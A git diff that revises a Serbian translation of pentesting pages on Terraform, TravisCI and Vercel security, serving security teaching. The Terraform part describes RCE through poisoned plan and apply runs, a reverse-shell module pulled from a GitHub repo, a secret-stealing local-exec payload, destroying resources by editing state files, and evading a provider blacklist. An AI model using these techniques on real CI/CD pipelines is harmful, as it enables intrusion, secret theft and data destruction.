jer supabase naplaćuje po aktivnom korisniku, tako da ljudi mogu kreirati korisnike i prijaviti se, a supabase će naplatiti za njih:
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 4f975f4e0..fa57cffb9 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,36 +1,36 @@ -# Terraform Security +# Terraform Bezbednost {{#include ../banners/hacktricks-training.md}} -## Osnovne informacije +## Osnovne Informacije [Iz dokumenata:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete kako **resurse u oblaku, tako i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivom komponentama kao što su resursi za računanje, skladištenje i umrežavanje, kao i visokim komponentama kao što su DNS unosi i SaaS funkcije. +HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i on-prem** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računanje, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije. #### Kako Terraform funkcioniše? -Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API. +Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraform-u da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API. ![](<../images/image (177).png>) -HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se i dalje povećava. Sve javno dostupne provajdere možete pronaći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge. +HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge. Osnovni Terraform radni tok se sastoji od tri faze: -- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja. +- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtual Private Cloud (VPC) sa sigurnosnim grupama i balansirnikom opterećenja. - **Planiranje:** Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije. - **Primena:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine. ![](<../images/image (215).png>) -### Terraform laboratorija +### Terraform Lab Samo instalirajte terraform na vašem računaru. Ovde imate [vodič](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [najbolji način za preuzimanje terraforma](https://www.terraform.io/downloads). -## RCE u Terraformu +## RCE u Terraform-u Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da se kompromituje terraform **može dodati/izmeniti terraform konfiguracione datoteke**. @@ -48,7 +48,7 @@ Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti n ### Terraform plan -Terraform plan je **najčešće korišćena komanda** u terraformu i programeri/rešenja koja koriste terraform je pozivaju stalno, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`. +Terraform plan je **najčešće korišćena komanda** u terraform-u i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`. **Korišćenje spoljnog provajdera** @@ -79,7 +79,7 @@ Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Korišćenje spoljnog reference** +**Korišćenje spoljnog referenciranja** Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na **diskretniji način**, prateći ove sugestije: @@ -89,14 +89,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Možete pronaći rev shell kod u [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem **malicioznog Terraform fajla sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Samo treba da se uverite da neki payload poput sledećih završi u `main.tf` fajlu: +Samo treba da se pobrinete da neki payload poput sledećih završi u `main.tf` fajlu: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -122,15 +122,15 @@ output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Zloupotreba Terraform State Fajlova +## Zloupotreba Terraform Stanja Fajlova -U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za korišćenje fajla: +U slučaju da imate pristup za pisanje nad terraform stanja fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za iskorišćavanje fajla: ### Brisanje resursa Postoje 2 načina da uništite resurse: -1. **Umetnite resurs sa nasumičnim imenom u state fajl koji pokazuje na pravi resurs koji treba uništiti** +1. **Umetnite resurs sa nasumičnim imenom u stanje fajla koji pokazuje na pravi resurs koji treba uništiti** Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane: ```json @@ -169,7 +169,7 @@ Takođe je moguće [napraviti prilagođeni provajder](https://developer.hashicor ``` ### Zamena crne liste provajdera -U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Možete objaviti svoj vlastiti fork ili ponovnu implementaciju. +U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj fork ili ponovnu implementaciju. ```terraform terraform { required_providers { @@ -180,24 +180,24 @@ version = "3.0.0" } } ``` -Zatim možete koristiti `external` kao i obično. +Tada možete koristiti `external` kao i obično. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Automatic Audit Tools +## Automatski alati za reviziju ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima. -- **Features:** +- **Karakteristike:** - Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti. - Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket). - Automatizovani zahtevi za ispravke. -- Detaljna uputstva za otklanjanje problema. -- **Sign Up:** Kreirajte nalog na [Snyk](https://snyk.io/). +- Detaljni saveti za otklanjanje problema. +- **Prijavite se:** Kreirajte nalog na [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk @@ -206,18 +206,18 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete. +**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda. Skenira cloud infrastrukturu obezbeđenu pomoću [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu. -Izvodi [analizu sastava softvera (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koja je skeniranje open source paketa i slika za zajedničke ranjivosti i izloženosti (CVE). +Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno i usklađenosti fokusiran test okvir protiv terraform-a koji omogućava negativne testne sposobnosti za vašu infrastrukturu kao kod. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, testni okvir fokusiran na bezbednost i usklađenost protiv terraform-a koji omogućava negativne testne mogućnosti za vašu infrastrukturu kao kod. - **usaglašenost:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde - **razvoj vođen ponašanjem:** Imamo BDD za gotovo sve, zašto ne i za IaC? @@ -235,19 +235,19 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije. +Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije. - ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku - ⛔ Stotine ugrađenih pravila -- 🪆 Skenira module (lokalne i udaljene) +- 🪆 Skener modula (lokalnih i udaljenih) - ➕ Evaluira HCL izraze kao i literalne vrednosti - ↪️ Evaluira Terraform funkcije npr. `concat()` - 🔗 Evaluira odnose između Terraform resursa - 🧰 Kompatibilan sa Terraform CDK - 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika -- 📃 Podržava više formata izlaza: lepi (podrazumevani), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. +- 📃 Podržava više formata izlaza: divno (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. - 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke) -- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume +- ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma ```bash brew install tfsec tfsec /path/to/folder @@ -265,10 +265,10 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava da: - Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije. -- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u bezbednosti, i omogućava vraćanje na sigurnu poziciju. -- Otkrivate bezbednosne ranjivosti i kršenja usklađenosti. +- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu. +- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti. - Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu. -- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD. +- Nudi fleksibilnost da se pokreće lokalno ili integriše sa vašim CI\CD. ```bash brew install terrascan ``` diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 75eb445bd..fa81d7855 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs su dobrodošli koji objašnjavaju kako (zlo)upotrebljavati te platforme iz perspektive napadača +Github PR-ovi su dobrodošli koji objašnjavaju kako (zlo)upotrebljavati te platforme iz perspektive napadača - Drone - TeamCity diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 8abeb990f..6af100232 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## Šta je TravisCI -**Travis CI** je **hostovana** ili na **mestu** **usluga kontinuirane integracije** koja se koristi za izgradnju i testiranje softverskih projekata hostovanih na nekoliko **različitih git platformi**. +**Travis CI** je **hostovana** ili na **mestu** **kontinuirana integracija** usluga koja se koristi za izgradnju i testiranje softverskih projekata hostovanih na nekoliko **različitih git platformi**. {{#ref}} basic-travisci-information.md @@ -20,24 +20,24 @@ Da biste pokrenuli napad, prvo morate znati kako da pokrenete izgradnju. Po defa #### Cron poslovi -Ako imate pristup web aplikaciji, možete **postaviti cron-ove za pokretanje izgradnje**, što može biti korisno za postizanje postojanosti ili za pokretanje izgradnje: +Ako imate pristup web aplikaciji, možete **postaviti cron poslove za pokretanje izgradnje**, što može biti korisno za postizanje postojanosti ili za pokretanje izgradnje: ![](<../../images/image (243).png>) > [!NOTE] -> Izgleda da nije moguće postaviti cron-ove unutar `.travis.yml` prema [ovome](https://github.com/travis-ci/travis-ci/issues/9162). +> Izgleda da nije moguće postaviti cron poslove unutar `.travis.yml` prema [ovome](https://github.com/travis-ci/travis-ci/issues/9162). -### PR-ovi trećih strana +### PR treće strane -TravisCI po defaultu onemogućava deljenje env varijabli sa PR-ovima koji dolaze od trećih strana, ali neko može to omogućiti i tada možete kreirati PR-ove za repozitorij i eksfiltrirati tajne: +TravisCI po defaultu onemogućava deljenje env varijabli sa PR-ovima koji dolaze od trećih strana, ali neko bi to mogao omogućiti i tada biste mogli kreirati PR-ove za repozitorij i eksfiltrirati tajne: ![](<../../images/image (208).png>) ### Ispumpavanje tajni -Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-information.md), postoje 2 tipa tajni. **Tajne varijable okruženja** (koje su navedene na web stranici) i **prilagođene enkriptovane tajne**, koje su pohranjene unutar `.travis.yml` datoteke kao base64 (napomena da će obe, kada su pohranjene enkriptovane, završiti kao varijable okruženja na konačnim mašinama). +Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-information.md), postoje 2 tipa tajni. **Tajne varijable okruženja** (koje su navedene na web stranici) i **prilagođene enkriptovane tajne**, koje se čuvaju unutar `.travis.yml` datoteke kao base64 (napomena da će obe, kada su sačuvane enkriptovane, završiti kao varijable okruženja na konačnim mašinama). -- Da biste **enumerisali tajne** konfigurirane kao **varijable okruženja**, idite na **postavke** **projekta** i proverite listu. Međutim, imajte na umu da će sve varijable okruženja projekta postavljene ovde pojaviti kada pokrenete izgradnju. +- Da biste **enumerisali tajne** konfigurirane kao **varijable okruženja**, idite na **podešavanja** **projekta** i proverite listu. Međutim, imajte na umu da će sve varijable okruženja projekta postavljene ovde biti prikazane prilikom pokretanja izgradnje. - Da biste enumerisali **prilagođene enkriptovane tajne**, najbolje što možete učiniti je da **proverite `.travis.yml` datoteku**. - Da biste **enumerisali enkriptovane datoteke**, možete proveriti za **`.enc` datoteke** u repozitorijumu, za linije slične `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` u konfiguracionoj datoteci, ili za **enkriptovane iv i ključeve** u **varijablama okruženja** kao što su: @@ -50,7 +50,7 @@ Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-inf ### TravisCI Enterprise -Ako napadač završi u okruženju koje koristi **TravisCI enterprise** (više informacija o tome šta je to u [**osnovnim informacijama**](basic-travisci-information.md#travisci-enterprise)), moći će da **pokrene izgradnje u Worker-u.** To znači da će napadač moći da se lateralno pomera ka tom serveru sa kojeg bi mogao da: +Ako napadač završi u okruženju koje koristi **TravisCI enterprise** (više informacija o tome šta je to u [**osnovnim informacijama**](basic-travisci-information.md#travisci-enterprise)), moći će da **pokrene izgradnje u Worker-u.** To znači da će napadač moći da se lateralno kreće do tog servera sa kojeg bi mogao da: - pobegne na host? - kompromituje kubernetes? diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 8405151b0..390af48bf 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -12,17 +12,17 @@ Na primer, u Github-u će tražiti sledeće dozvole: - `read:org` (samo za čitanje) - `repo`: Daje pristup za čitanje i pisanje koda, statusa commit-a, saradnika i statusa implementacije za javne i privatne repozitorijume i organizacije. -## Enkriptovane Tajne +## Enkriptovane tajne -### Promenljive Okruženja +### Promenljive okruženja -U TravisCI, kao i na drugim CI platformama, moguće je **sačuvati na nivou repozitorijuma tajne** koje će biti sačuvane enkriptovane i biće **dekriptovane i postavljene u promenljivu okruženja** mašine koja izvršava gradnju. +U TravisCI, kao i na drugim CI platformama, moguće je **sačuvati tajne na nivou repozitorijuma** koje će biti sačuvane enkriptovane i biće **dekriptovane i postavljene u promenljive okruženja** mašine koja izvršava gradnju. ![](<../../images/image (203).png>) -Moguće je naznačiti **grane na kojima će tajne biti dostupne** (podrazumevano sve) i takođe da li TravisCI **treba da sakrije njenu vrednost** ako se pojavi **u logovima** (podrazumevano hoće). +Moguće je naznačiti **grane na kojima će tajne biti dostupne** (podrazumevano sve) i takođe da li TravisCI **treba da sakrije njenu vrednost** ako se pojavi **u logovima** (podrazumevano će). -### Prilagođene Enkriptovane Tajne +### Prilagođene enkriptovane tajne Za **svaki repozitorijum** TravisCI generiše **RSA ključni par**, **čuva** **privatni** ključ, i čini **javnim ključem repozitorijuma dostupnim** onima koji imaju **pristup** repozitorijumu. @@ -31,7 +31,7 @@ Možete pristupiti javnom ključu jednog repozitorijuma sa: travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Zatim, možete koristiti ovu postavku da **enkriptujete tajne i dodate ih u vaš `.travis.yaml`**. Tajne će biti **dekriptovane kada se izgradnja pokrene** i dostupne u **promenljivim okruženja**. +Zatim, možete koristiti ovu postavku da **enkriptujete tajne i dodate ih u vaš `.travis.yaml`**. Tajne će biti **dekriptovane kada se izgradnja pokrene** i biće dostupne u **promenljivim okruženja**. ![](<../../images/image (139).png>) @@ -63,7 +63,7 @@ Napomena da će prilikom enkripcije datoteke 2 Env Varijable biti konfigurisane ## TravisCI Enterprise -Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementirati **u svojoj infrastrukturi**. Zamislite ‘server’ verziju Travis CI. Korišćenje Travis CI omogućava vam da omogućite jednostavan sistem Kontinuirane Integracije/Kontinuirane Isporuke (CI/CD) u okruženju koje možete konfigurisati i obezbediti kako želite. +Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementirati **u svojoj infrastrukturi**. Zamislite 'server' verziju Travis CI. Korišćenje Travis CI omogućava vam da omogućite jednostavan sistem Kontinuirane Integracije/Kontinuirane Isporuke (CI/CD) u okruženju koje možete konfigurisati i obezbediti kako želite. **Travis CI Enterprise se sastoji od dva glavna dela:** @@ -74,14 +74,14 @@ Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementira 1. **PostgreSQL11** (ili noviji) bazu podataka. 2. Infrastrukturu za implementaciju Kubernetes klastera; može se implementirati u klasteru servera ili na jednoj mašini ako je potrebno. -3. U zavisnosti od vaše konfiguracije, možda ćete želeti da implementirate i konfigurišete neke od komponenti sami, npr., RabbitMQ - pogledajte [Postavljanje Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) za više detalja. +3. U zavisnosti od vaše konfiguracije, možda ćete želeti da implementirate i konfigurišete neke od komponenti sami, npr., RabbitMQ - pogledajte [Podešavanje Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) za više detalja. **TCI Worker zahteva sledeće:** 1. Infrastrukturu gde se može implementirati docker slika koja sadrži **Worker i povezanu sliku za gradnju**. -2. Povezivost sa određenim komponentama Travis CI Core Services - pogledajte [Postavljanje Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) za više detalja. +2. Povezivost sa određenim komponentama Travis CI Core Services - pogledajte [Podešavanje Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) za više detalja. -Količina implementiranih TCI Worker i slika okruženja za gradnju OS će odrediti ukupni kapacitet istovremenih operacija Travis CI Enterprise implementacije u vašoj infrastrukturi. +Količina implementiranih TCI Worker i OS slika okruženja za gradnju odrediće ukupni kapacitet istovremenog korišćenja Travis CI Enterprise implementacije u vašoj infrastrukturi. ![](<../../images/image (199).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 2964739b6..3756778f0 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -6,7 +6,7 @@ U Vercelu, **Tim** je kompletno **okruženje** koje pripada klijentu, a **projekat** je **aplikacija**. -Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **dozvolom za gledanje** ili barem **dozvolom za gledanje projekta** kako bi se proverili projekti (u slučaju da je potrebno proveriti samo projekte, a ne i konfiguraciju tima). +Za pregled učvršćivanja **Vercela** potrebno je zatražiti korisnika sa **Viewer role permission** ili barem **Project viewer permission over the projects** da bi se proverilo (u slučaju da je potrebno proveriti samo projekte, a ne i konfiguraciju Tima). ## Podešavanja projekta @@ -16,12 +16,12 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: -- **Prenos** +- **Transfer** - **Pogrešna konfiguracija:** Omogućava prenos projekta na drugi tim - **Rizik:** Napadač bi mogao ukrasti projekat -- **Brisanje projekta** -- **Pogrešna konfiguracija:** Omogućava brisanje projekta -- **Rizik:** Brisanje projekta +- **Obriši projekat** +- **Pogrešna konfiguracija:** Omogućava brisanje projekta +- **Rizik:** Obriši projekat --- @@ -36,10 +36,10 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do - **Rizik:** Otmica domena, presretanje saobraćaja i phishing napadi. - **Upravljanje SSL/TLS sertifikatima** - **Pogrešna konfiguracija:** Korišćenje slabih ili istečenih SSL/TLS sertifikata. -- **Rizik:** Ranljivost na napade tipa man-in-the-middle (MITM), kompromitovanje integriteta i poverljivosti podataka. +- **Rizik:** Ranljivost na napade "man-in-the-middle" (MITM), kompromitovanje integriteta i poverljivosti podataka. - **Implementacija DNSSEC** - **Pogrešna konfiguracija:** Neaktiviranje DNSSEC ili pogrešna DNSSEC podešavanja. -- **Rizik:** Povećana podložnost napadima lažiranja DNS-a i trovanja kešom. +- **Rizik:** Povećana podložnost napadima DNS spoofing i cache poisoning. - **Okruženje korišćeno po domenu** - **Pogrešna konfiguracija:** Promena okruženja koje koristi domen u produkciji. - **Rizik:** Izlaganje potencijalnih tajni ili funkcionalnosti koje ne bi trebale biti dostupne u produkciji. @@ -48,7 +48,7 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do ### Okruženja -**Svrha:** Definisanje različitih okruženja (Razvoj, Pregled, Proizvodnja) sa specifičnim podešavanjima i varijablama. +**Svrha:** Definisanje različitih okruženja (Razvoj, Pregled, Produkcija) sa specifičnim podešavanjima i varijablama. #### Konfiguracije bezbednosti: @@ -74,7 +74,7 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do - **Pogrešna konfiguracija:** Ako je onemogućeno (podrazumevano) moguće je pročitati vrednosti generisanih tajni. - **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama. - **Deljene varijable okruženja** -- **Pogrešna konfiguracija:** Ovo su varijable okruženja postavljene na nivou tima i mogu takođe sadržati osetljive informacije. +- **Pogrešna konfiguracija:** Ovo su varijable okruženja postavljene na nivou Tima i mogu takođe sadržati osetljive informacije. - **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama. --- @@ -99,9 +99,9 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do - **Neosigurane integracije trećih strana** - **Pogrešna konfiguracija:** Integracija sa nepouzdanim ili neosiguranim uslugama trećih strana. -- **Rizik:** Uvođenje ranjivosti, curenje podataka ili zadnja vrata kroz kompromitovane integracije. +- **Rizik:** Uvođenje ranjivosti, curenje podataka ili backdoor-ova kroz kompromitovane integracije. - **Prekomerno ovlašćene integracije** -- **Pogrešna konfiguracija:** Dodeljivanje prekomernih dozvola integrisanim uslugama. +- **Pogrešna konfiguracija:** Dodeljivanje prekomernih ovlašćenja integrisanim uslugama. - **Rizik:** Neovlašćen pristup resursima projekta, manipulacija podacima ili prekidi usluga. - **Nedostatak praćenja integracija** - **Pogrešna konfiguracija:** Nepratiti i neauditovati integracije trećih strana. @@ -120,7 +120,7 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do - **Pogrešna konfiguracija:** Onemogućavanje autentifikacije ili neprovođenje provere članova tima. - **Rizik:** Neovlašćeni korisnici mogu pristupiti implementacijama, što dovodi do curenja podataka ili zloupotrebe aplikacija. -**Zaštita zaobilaženja za automatizaciju** +**Zaobilaženje zaštite za automatizaciju** - **Pogrešna konfiguracija:** Javna izloženost tajne zaobilaženja ili korišćenje slabih tajni. - **Rizik:** Napadači mogu zaobići zaštitu implementacije, pristupajući i manipulišući zaštićenim implementacijama. @@ -132,8 +132,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do **OPTIONS Allowlist** -- **Pogrešna konfiguracija:** Preširoko dozvoljavanje putanja ili osetljivih krajnjih tačaka. -- **Rizik:** Napadači mogu iskoristiti nezaštićene putanje za izvođenje neovlašćenih radnji ili zaobilaženje bezbednosnih provera. +- **Pogrešna konfiguracija:** Prekomerno široko dozvoljavanje putanja ili osetljivih krajnjih tačaka. +- **Rizik:** Napadači mogu iskoristiti nezaštićene putanje za izvršavanje neovlašćenih radnji ili zaobilaženje bezbednosnih provera. **Zaštita lozinkom** @@ -184,8 +184,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: - **Onemogući Cron posao** -- **Pogrešna konfiguracija:** Omogućava onemogućavanje cron poslova deklarisanih unutar koda -- **Rizik:** Potencijalno prekidanje usluge (u zavisnosti od svrhe cron poslova) +- **Pogrešna konfiguracija:** Omogućava onemogućavanje cron poslova deklarisanih unutar koda. +- **Rizik:** Potencijalno prekidanje usluge (u zavisnosti od toga za šta su cron poslovi bili namenjeni). --- @@ -207,28 +207,28 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do **Logovi 